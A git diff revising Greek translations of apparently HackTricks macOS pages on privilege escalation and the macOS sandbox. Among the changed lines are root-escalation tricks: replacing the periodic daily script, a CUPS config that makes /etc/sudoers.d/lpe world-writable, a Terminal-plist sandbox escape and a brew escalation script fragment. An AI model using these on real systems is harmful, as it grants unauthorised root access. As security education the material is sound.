Περιοδικά sh scripts -Αν το script σας μπορεί να ερμηνευθεί ως **shell script**, μπορείτε να αντικαταστήσετε το **`/etc/periodic/daily/999.local`** shell script που θα ενεργοποιείται κάθε μέρα. +Αν το script σας μπορεί να ερμηνευτεί ως **shell script**, μπορείτε να αντικαταστήσετε το **`/etc/periodic/daily/999.local`** shell script που θα ενεργοποιείται κάθε μέρα. Μπορείτε να **προσομοιώσετε** μια εκτέλεση αυτού του script με: **`sudo periodic daily`** @@ -278,6 +279,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg ``` +```markdown Απλά δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root. ### Sudoers File @@ -296,6 +298,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg Δημιουργήστε το αρχείο `/etc/cups/cups-files.conf` με το παρακάτω περιεχόμενο: ``` +``` ErrorLog /etc/sudoers.d/lpe LogFilePerm 777 @@ -310,9 +313,9 @@ LogFilePerm 777 Είναι δυνατόν να ξεφύγετε από το sandbox του macOS με μια FS αυθαίρετη εγγραφή. Για μερικά παραδείγματα, ελέγξτε τη σελίδα [macOS Auto Start](../../../../macos-auto-start-locations.md) αλλά ένα κοινό είναι να γράψετε ένα αρχείο προτιμήσεων Terminal στο `~/Library/Preferences/com.apple.Terminal.plist` που εκτελεί μια εντολή κατά την εκκίνηση και να το καλέσετε χρησιμοποιώντας το `open`. -## Generate writable files as other users +## Δημιουργία εγγράφων που μπορούν να γραφούν ως άλλοι χρήστες -Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγ writable από εμένα ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc: +Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγγράψιμο από εμένα ([**κώδικας από εδώ**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -326,11 +329,11 @@ echo $FILENAME ``` ## POSIX Shared Memory -**POSIX shared memory** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα. +**Η κοινή μνήμη POSIX** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
-Producer Code Example +Παράδειγμα Κώδικα Παραγωγού ```c // gcc producer.c -o producer -lrt #include @@ -424,9 +427,9 @@ return 0; **macOSCguarded descriptors** είναι μια λειτουργία ασφαλείας που εισήχθη στο macOS για να ενισχύσει την ασφάλεια και την αξιοπιστία των **λειτουργιών περιγραφής αρχείων** σε εφαρμογές χρήστη. Αυτοί οι προστατευμένοι περιγραφείς παρέχουν έναν τρόπο για να συσχετίσουν συγκεκριμένους περιορισμούς ή "φύλακες" με περιγραφείς αρχείων, οι οποίοι επιβάλλονται από τον πυρήνα. -Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου είναι **κληρονομούμενος** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι: +Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου **κληρονομείται** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι: -- `guarded_open_np`: Άνοιγμα ενός FD με φύλακα +- `guarded_open_np`: Άνοιγμα ενός FD με έναν φύλακα - `guarded_close_np`: Κλείσιμο του - `change_fdguard_np`: Αλλαγή σημαιών φύλακα σε έναν περιγραφέα (ακόμη και αφαίρεση της προστασίας φύλακα) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 8ab563771..e55361484 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -6,7 +6,7 @@ Το macOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**. -Οποιαδήποτε εφαρμογή έχει την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κώδικες της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox. +Οποιαδήποτε εφαρμογή έχει την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κωδικοί της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox. Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε σχεδόν οποιαδήποτε λειτουργία μπορεί να προσπαθήσει μια διαδικασία (συμπεριλαμβανομένων των περισσότερων syscalls) χρησιμοποιώντας **MACF**. Ωστόσο, **ανάλογα** με τις **εξουσιοδοτήσεις** της εφαρμογής, το Sandbox μπορεί να είναι πιο επιεικής με τη διαδικασία. @@ -15,11 +15,11 @@ - Η **επέκταση πυρήνα** `/System/Library/Extensions/Sandbox.kext` - Το **ιδιωτικό πλαίσιο** `/System/Library/PrivateFrameworks/AppSandbox.framework` - Ένας **daemon** που εκτελείται στο userland `/usr/libexec/sandboxd` -- Οι **κοντέινερ** `~/Library/Containers` +- Τα **containers** `~/Library/Containers` ### Containers -Κάθε sandboxed εφαρμογή θα έχει το δικό της κοντέινερ στο `~/Library/Containers/{CFBundleIdentifier}` : +Κάθε sandboxed εφαρμογή θα έχει το δικό της container στο `~/Library/Containers/{CFBundleIdentifier}` : ```bash ls -l ~/Library/Containers total 0 @@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` > [!CAUTION] -> Σημειώστε ότι ακόμη και αν τα symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`. +> Σημειώστε ότι ακόμη και αν οι symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`. -Το **`SandboxProfileData`** είναι το συμπιεσμένο προφίλ sandbox CFData που έχει διαφύγει σε B64. +Τα **`SandboxProfileData`** είναι τα συμπιεσμένα δεδομένα προφίλ sandbox CFData που έχουν διαφύγει σε B64. ```bash # Get container config ## You need FDA to access the file, not even just root can read it @@ -110,7 +110,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ## Sandbox Profiles -Τα Sandbox profiles είναι αρχεία ρυθμίσεων που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](). +Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](). Εδώ μπορείτε να βρείτε ένα παράδειγμα: ```scheme @@ -131,9 +131,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` > [!TIP] -> Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να ελέγξετε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.** +> Ελέγξτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.** > -> Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, τα ονόματα των λειτουργιών αντικαθίστανται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση. +> Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, το όνομα των λειτουργιών αντικαθίσταται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση. Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα σε δικό τους προσαρμοσμένο **sandbox** όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε: @@ -143,7 +143,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... Οι εφαρμογές του **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε μια διαδικασία να χρησιμοποιεί το δίκτυο. -Στη συνέχεια, ορισμένες **υπηρεσίες daemon της Apple** χρησιμοποιούν διαφορετικά προφίλ που βρίσκονται σε `/System/Library/Sandbox/Profiles/*.sb` ή `/usr/share/sandbox/*.sb`. Αυτά τα sandboxes εφαρμόζονται στη βασική λειτουργία που καλεί το API `sandbox_init_XXX`. +Στη συνέχεια, ορισμένες **υπηρεσίες daemon της Apple** χρησιμοποιούν διαφορετικά προφίλ που βρίσκονται σε `/System/Library/Sandbox/Profiles/*.sb` ή `/usr/share/sandbox/*.sb`. Αυτά τα sandboxes εφαρμόζονται στην κύρια λειτουργία που καλεί το API `sandbox_init_XXX`. **SIP** είναι ένα προφίλ Sandbox που ονομάζεται platform_profile στο `/System/Library/Sandbox/rootless.conf`. @@ -199,35 +199,35 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {{#endtab}} {{#endtabs}} -> [!NOTE] -> Σημειώστε ότι το **λογισμικό** που έχει δημιουργηθεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών. +> [!TIP] +> Σημειώστε ότι το **λογισμικό** που έχει συγγραφεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών. Παραδείγματα παρακάμψεων: - [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`). +- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράφουν αρχεία εκτός της απομόνωσης των οποίων το όνομα αρχίζει με `~$`). -### Ιχνηλάτηση Απομόνωσης +### Sandbox Tracing #### Μέσω προφίλ -Είναι δυνατόν να ιχνηλατηθούν όλοι οι έλεγχοι που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ: +Είναι δυνατόν να παρακολουθήσετε όλους τους ελέγχους που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ: ```scheme:trace.sb (version 1) (trace /tmp/trace.out) ``` -Και στη συνέχεια απλώς εκτελέστε κάτι χρησιμοποιώντας αυτό το προφίλ: +Αν και απλά εκτελέσετε κάτι χρησιμοποιώντας αυτό το προφίλ: ```bash sandbox-exec -f /tmp/trace.sb /bin/ls ``` Στο `/tmp/trace.out` θα μπορείτε να δείτε κάθε έλεγχο sandbox που εκτελέστηκε κάθε φορά που κλήθηκε (οπότε, πολλά διπλότυπα). -Είναι επίσης δυνατό να παρακολουθήσετε το sandbox χρησιμοποιώντας την παράμετρο **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` +Είναι επίσης δυνατή η παρακολούθηση του sandbox χρησιμοποιώντας την παράμετρο **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` #### Μέσω API Η συνάρτηση `sandbox_set_trace_path` που εξάγεται από το `libsystem_sandbox.dylib` επιτρέπει να καθορίσετε ένα όνομα αρχείου καταγραφής όπου θα γράφονται οι έλεγχοι sandbox.\ -Είναι επίσης δυνατό να κάνετε κάτι παρόμοιο καλώντας `sandbox_vtrace_enable()` και στη συνέχεια να αποκτήσετε τα σφάλματα καταγραφής από το buffer καλώντας `sandbox_vtrace_report()`. +Είναι επίσης δυνατή η εκτέλεση παρόμοιας διαδικασίας καλώντας το `sandbox_vtrace_enable()` και στη συνέχεια αποκτώντας τα σφάλματα καταγραφής από το buffer καλώντας το `sandbox_vtrace_report()`. ### Επιθεώρηση Sandbox @@ -243,9 +243,9 @@ sandbox-exec -f /tmp/trace.sb /bin/ls ### Προσαρμοσμένο SBPL σε εφαρμογές App Store -Θα μπορούσε να είναι δυνατό για τις εταιρείες να κάνουν τις εφαρμογές τους να εκτελούνται **με προσαρμοσμένα προφίλ Sandbox** (αντί με το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** η οποία πρέπει να εγκριθεί από την Apple. +Είναι δυνατόν για τις εταιρείες να κάνουν τις εφαρμογές τους να εκτελούνται **με προσαρμοσμένα προφίλ Sandbox** (αντί με το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** η οποία πρέπει να εγκριθεί από την Apple. -Είναι δυνατό να ελέγξετε τον ορισμό αυτής της εξουσιοδότησης στο **`/System/Library/Sandbox/Profiles/application.sb:`** +Είναι δυνατόν να ελέγξετε τον ορισμό αυτής της εξουσιοδότησης στο **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -253,17 +253,17 @@ sandbox-exec -f /tmp/trace.sb /bin/ls (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Αυτό θα **eval την αλφαβητική σειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox. +Αυτό θα **εκτελέσει τη συμβολοσειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox. ### Συγκέντρωση & αποσυμπίεση ενός προφίλ Sandbox -Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια αλφαβητική σειρά, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων). +Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από το `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια συμβολοσειρά, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων). Αυτή η αντίστροφη και [**ανοιχτού κώδικα έκδοση του εργαλείου sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) επιτρέπει στο **`sandbox-exec`** να γράφει σε ένα αρχείο το συγκεντρωμένο προφίλ sandbox. Επιπλέον, για να περιορίσει μια διαδικασία μέσα σε ένα κοντέινερ, μπορεί να καλέσει `sandbox_spawnattrs_set[container/profilename]` και να περάσει ένα κοντέινερ ή προϋπάρχον προφίλ. -## Debug & Παράκαμψη Sandbox +## Αποσφαλμάτωση & Παράκαμψη Sandbox Στο macOS, σε αντίθεση με το iOS όπου οι διαδικασίες είναι sandboxed από την αρχή από τον πυρήνα, **οι διαδικασίες πρέπει να επιλέξουν να μπουν στο sandbox μόνες τους**. Αυτό σημαίνει ότι στο macOS, μια διαδικασία δεν περιορίζεται από το sandbox μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτό, αν και οι εφαρμογές του App Store είναι πάντα sandboxed. @@ -275,7 +275,7 @@ macos-sandbox-debug-and-bypass/ ## **Επεκτάσεις Sandbox** -Οι επεκτάσεις επιτρέπουν να δοθούν περαιτέρω προνόμια σε ένα αντικείμενο και δίνονται καλώντας μία από τις συναρτήσεις: +Οι επεκτάσεις επιτρέπουν να δοθούν περαιτέρω προνόμια σε ένα αντικείμενο και καλούν μία από τις συναρτήσεις: - `sandbox_issue_extension` - `sandbox_extension_issue_file[_with_new_type]` @@ -287,8 +287,8 @@ macos-sandbox-debug-and-bypass/ Οι επεκτάσεις αποθηκεύονται στη δεύτερη υποδοχή ετικέτας MACF που είναι προσβάσιμη από τα διαπιστευτήρια της διαδικασίας. Το ακόλουθο **`sbtool`** μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες. -Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το επεκτατικό token του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το επεκτατικό token ώστε να προστεθεί σε αυτήν.\ -Σημειώστε ότι τα επεκτατικά tokens είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**. +Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να αποκτήσει πρόσβαση στις φωτογραφίες και επιτραπεί σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\ +Σημειώστε ότι τα tokens επεκτάσεων είναι μακρές δεκαεξαδικές τιμές που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**. Σημειώστε ότι οι επεκτάσεις σχετίζονται πολύ και με τις εξουσιοδοτήσεις, οπότε η κατοχή ορισμένων εξουσιοδοτήσεων μπορεί αυτόματα να χορηγήσει ορισμένες επεκτάσεις. @@ -315,12 +315,12 @@ sbtool all ## mac_syscall -Αυτή η κλήση συστήματος (#381) αναμένει ένα string ως πρώτο επιχείρημα που θα υποδείξει το module που θα εκτελεστεί, και στη συνέχεια έναν κωδικό ως δεύτερο επιχείρημα που θα υποδείξει τη συνάρτηση που θα εκτελεστεί. Στη συνέχεια, το τρίτο επιχείρημα θα εξαρτάται από τη συνάρτηση που εκτελείται. +Αυτή η κλήση συστήματος (#381) αναμένει ένα string ως πρώτο επιχείρημα που θα υποδεικνύει το module που θα εκτελεστεί, και στη συνέχεια έναν κωδικό στο δεύτερο επιχείρημα που θα υποδεικνύει τη συνάρτηση που θα εκτελεστεί. Στη συνέχεια, το τρίτο επιχείρημα θα εξαρτάται από τη συνάρτηση που εκτελείται. -Η κλήση συνάρτησης `___sandbox_ms` περιτυλίγει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` όπως το `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από το `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα: +Η κλήση συνάρτησης `___sandbox_ms` περιτυλίσσει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` ακριβώς όπως το `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από το `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα: - **set_profile (#0)**: Εφαρμόστε ένα συμπιεσμένο ή ονομασμένο προφίλ σε μια διαδικασία. -- **platform_policy (#1)**: Επιβάλλετε ελέγχους πολιτικής συγκεκριμένης πλατφόρμας (διαφέρει μεταξύ macOS και iOS). +- **platform_policy (#1)**: Επιβάλλετε ελέγχους πολιτικής συγκεκριμένους για την πλατφόρμα (διαφέρει μεταξύ macOS και iOS). - **check_sandbox (#2)**: Εκτελέστε έναν χειροκίνητο έλεγχο μιας συγκεκριμένης λειτουργίας sandbox. - **note (#3)**: Προσθέτει μια σημείωση σε ένα Sandbox. - **container (#4)**: Συνδέστε μια σημείωση σε ένα sandbox, συνήθως για αποσφαλμάτωση ή αναγνώριση. @@ -337,7 +337,7 @@ sbtool all - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Ορίστε μεταδεδομένα λειτουργίας χρήστη στο sandbox. - **inspect (#16)**: Παρέχετε πληροφορίες αποσφαλμάτωσης σχετικά με μια διαδικασία που είναι sandboxed. - **dump (#18)**: (macOS 11) Εκτυπώστε το τρέχον προφίλ ενός sandbox για ανάλυση. -- **vtrace (#19)**: Παρακολουθήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση. +- **vtrace (#19)**: Ιχνηλατήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση. - **builtin_profile_deactivate (#20)**: (macOS < 11) Απενεργοποιήστε τα ονομασμένα προφίλ (π.χ., `pe_i_can_has_debugger`). - **check_bulk (#21)**: Εκτελέστε πολλές λειτουργίες `sandbox_check` σε μία μόνο κλήση. - **reference_retain_by_audit_token (#28)**: Δημιουργήστε μια αναφορά για ένα audit token για χρήση σε ελέγχους sandbox. @@ -353,26 +353,26 @@ sbtool all Σημειώστε ότι στο iOS η επέκταση πυρήνα περιέχει **σκληρά κωδικοποιημένα όλα τα προφίλ** μέσα στο τμήμα `__TEXT.__const` για να αποφευχθεί η τροποποίησή τους. Ακολουθούν ορισμένες ενδιαφέρουσες συναρτήσεις από την επέκταση πυρήνα: - **`hook_policy_init`**: Συνδέει το `mpo_policy_init` και καλείται μετά το `mac_policy_register`. Εκτελεί τις περισσότερες από τις αρχικοποιήσεις του Sandbox. Επίσης, αρχικοποιεί το SIP. -- **`hook_policy_initbsd`**: Ρυθμίζει τη διεπαφή sysctl καταχωρώντας `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` και `security.mac.sandbox.debug_mode` (αν έχει εκκινήσει με `PE_i_can_has_debugger`). -- **`hook_policy_syscall`**: Καλείται από το `mac_syscall` με "Sandbox" ως πρώτο επιχείρημα και κωδικό που υποδεικνύει τη λειτουργία στο δεύτερο. Χρησιμοποιείται μια εναλλαγή για να βρεθεί ο κωδικός που θα εκτελεστεί σύμφωνα με τον ζητούμενο κωδικό. +- **`hook_policy_initbsd`**: Ρυθμίζει τη διεπαφή sysctl καταχωρώντας `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` και `security.mac.sandbox.debug_mode` (αν εκκινείται με `PE_i_can_has_debugger`). +- **`hook_policy_syscall`**: Καλείται από το `mac_syscall` με "Sandbox" ως πρώτο επιχείρημα και κωδικό που υποδεικνύει τη λειτουργία στο δεύτερο. Χρησιμοποιείται ένα switch για να βρεθεί ο κωδικός που θα εκτελεστεί σύμφωνα με τον ζητούμενο κωδικό. ### MACF Hooks -**`Sandbox.kext`** χρησιμοποιεί περισσότερους από εκατό hooks μέσω MACF. Οι περισσότεροι από τους hooks θα ελέγξουν απλώς ορισμένες τυπικές περιπτώσεις που επιτρέπουν την εκτέλεση της ενέργειας, αν όχι, θα καλέσουν **`cred_sb_evalutate`** με τα **διαπιστευτήρια** από το MACF και έναν αριθμό που αντιστοιχεί στην **λειτουργία** που θα εκτελεστεί και ένα **buffer** για την έξοδο. +**`Sandbox.kext`** χρησιμοποιεί περισσότερους από εκατό hooks μέσω MACF. Οι περισσότεροι από τους hooks θα ελέγξουν απλώς ορισμένες τυπικές περιπτώσεις που επιτρέπουν την εκτέλεση της ενέργειας, αν όχι, θα καλέσουν **`cred_sb_evalutate`** με τα **διαπιστευτήρια** από το MACF και έναν αριθμό που αντιστοιχεί στη **λειτουργία** που θα εκτελεστεί και ένα **buffer** για την έξοδο. -Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που συνδέει το **`mmap`** και η οποία θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι θα επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή 